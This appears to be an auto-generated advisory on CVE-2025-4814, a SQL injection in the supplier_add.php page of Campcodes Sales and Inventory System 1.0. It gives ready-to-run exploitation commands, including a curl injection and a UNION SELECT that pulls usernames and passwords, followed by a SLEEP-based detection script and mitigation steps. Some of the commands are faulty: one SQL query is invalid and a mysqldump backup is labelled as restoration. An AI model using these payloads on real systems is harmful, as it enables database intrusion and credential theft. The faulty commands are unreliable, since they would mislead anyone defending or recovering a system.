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How CVE-2025-4814 Works
The vulnerability exists in `/pages/supplier_add.php` where the `Name` parameter is improperly sanitized before being used in SQL queries. Attackers can inject malicious SQL payloads through this parameter, allowing unauthorized database access, data manipulation, or deletion. The flaw arises due to lack of input validation and prepared statements, enabling remote exploitation without authentication. Successful exploitation could lead to full system compromise due to the application’s high database privileges.
DailyCVE Form
Platform: Campcodes Sales and Inventory System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/28/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploitation Commands
curl -X POST "http://target.com/pages/supplier_add.php" -d "Name=' OR 1=1--"
' UNION SELECT username, password FROM users--
Detection Script
import requests
url = "http://target.com/pages/supplier_add.php"
payload = {"Name": "' OR SLEEP(5)--"}
response = requests.post(url, data=payload)
if response.elapsed.total_seconds() >= 5:
print("Vulnerable to SQLi")
Mitigation Steps
1. Use parameterized queries:
$stmt = $conn->prepare("INSERT INTO suppliers (name) VALUES (?)");
$stmt->bind_param("s", $_POST['Name']);
2. Apply WAF rules:
location /pages/ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1000,deny,status:403"';
}
3. Patch verification:
grep -r "mysql_query" /var/www/campcodes/
Post-Exploitation Analysis
SELECT FROM information_schema.tables WHERE table_schema=database();
Log Analysis Command
grep "supplier_add.php" /var/log/apache2/access.log | grep -E "UNION|SLEEP|SELECT"
Backup Restoration
mysqldump -u root -p campcodes_db > backup.sql
Temporary Fix
$_POST['Name'] = preg_replace("/[^a-zA-Z0-9\s]/", "", $_POST['Name']);
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
